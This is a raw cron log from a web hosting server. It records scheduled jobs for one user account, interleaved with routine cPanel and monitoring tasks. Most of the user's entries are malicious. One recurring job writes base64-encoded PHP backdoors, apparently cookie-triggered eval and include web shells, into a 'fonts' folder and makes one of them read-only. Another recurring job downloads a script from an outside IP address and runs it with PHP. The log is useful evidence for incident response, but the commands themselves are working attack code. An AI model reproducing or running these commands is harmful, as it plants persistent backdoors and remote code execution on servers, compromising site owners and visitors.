Sep  2 04:21:01 ip-184-168-122-23 CROND[9953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:22:01 ip-184-168-122-23 CROND[10162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:22:01 ip-184-168-122-23 CROND[10164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:22:01 ip-184-168-122-23 CROND[10165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:22:01 ip-184-168-122-23 CROND[10166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:22:01 ip-184-168-122-23 CROND[10168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:23:01 ip-184-168-122-23 CROND[10274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:23:01 ip-184-168-122-23 CROND[10277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:23:01 ip-184-168-122-23 CROND[10275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:23:01 ip-184-168-122-23 CROND[10276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:24:01 ip-184-168-122-23 CROND[10396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:24:01 ip-184-168-122-23 CROND[10398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:24:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:24:01 ip-184-168-122-23 CROND[10400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:24:01 ip-184-168-122-23 CROND[10402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:25:01 ip-184-168-122-23 CROND[10531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:25:01 ip-184-168-122-23 CROND[10538]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 04:26:01 ip-184-168-122-23 CROND[10632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:26:01 ip-184-168-122-23 CROND[10634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:26:01 ip-184-168-122-23 CROND[10635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:26:01 ip-184-168-122-23 CROND[10636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:26:01 ip-184-168-122-23 CROND[10637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:27:01 ip-184-168-122-23 CROND[10766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:27:01 ip-184-168-122-23 CROND[10770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:27:01 ip-184-168-122-23 CROND[10768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:27:01 ip-184-168-122-23 CROND[10769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:28:01 ip-184-168-122-23 CROND[10978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:28:01 ip-184-168-122-23 CROND[10980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:28:01 ip-184-168-122-23 CROND[10983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:28:01 ip-184-168-122-23 CROND[10982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:28:01 ip-184-168-122-23 CROND[10981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:29:01 ip-184-168-122-23 CROND[11130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:29:01 ip-184-168-122-23 CROND[11132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:29:01 ip-184-168-122-23 CROND[11134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:29:01 ip-184-168-122-23 CROND[11135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:30:02 ip-184-168-122-23 CROND[11299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:30:02 ip-184-168-122-23 CROND[11296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11301]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11303]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:30:02 ip-184-168-122-23 CROND[11304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:31:01 ip-184-168-122-23 CROND[11425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:31:01 ip-184-168-122-23 CROND[11427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:31:01 ip-184-168-122-23 CROND[11428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:31:01 ip-184-168-122-23 CROND[11429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:31:01 ip-184-168-122-23 CROND[11430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:32:01 ip-184-168-122-23 CROND[11525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:32:01 ip-184-168-122-23 CROND[11527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:32:01 ip-184-168-122-23 CROND[11529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:32:01 ip-184-168-122-23 CROND[11528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:32:01 ip-184-168-122-23 CROND[11530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:33:01 ip-184-168-122-23 CROND[11727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:33:01 ip-184-168-122-23 CROND[11729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:33:01 ip-184-168-122-23 CROND[11730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
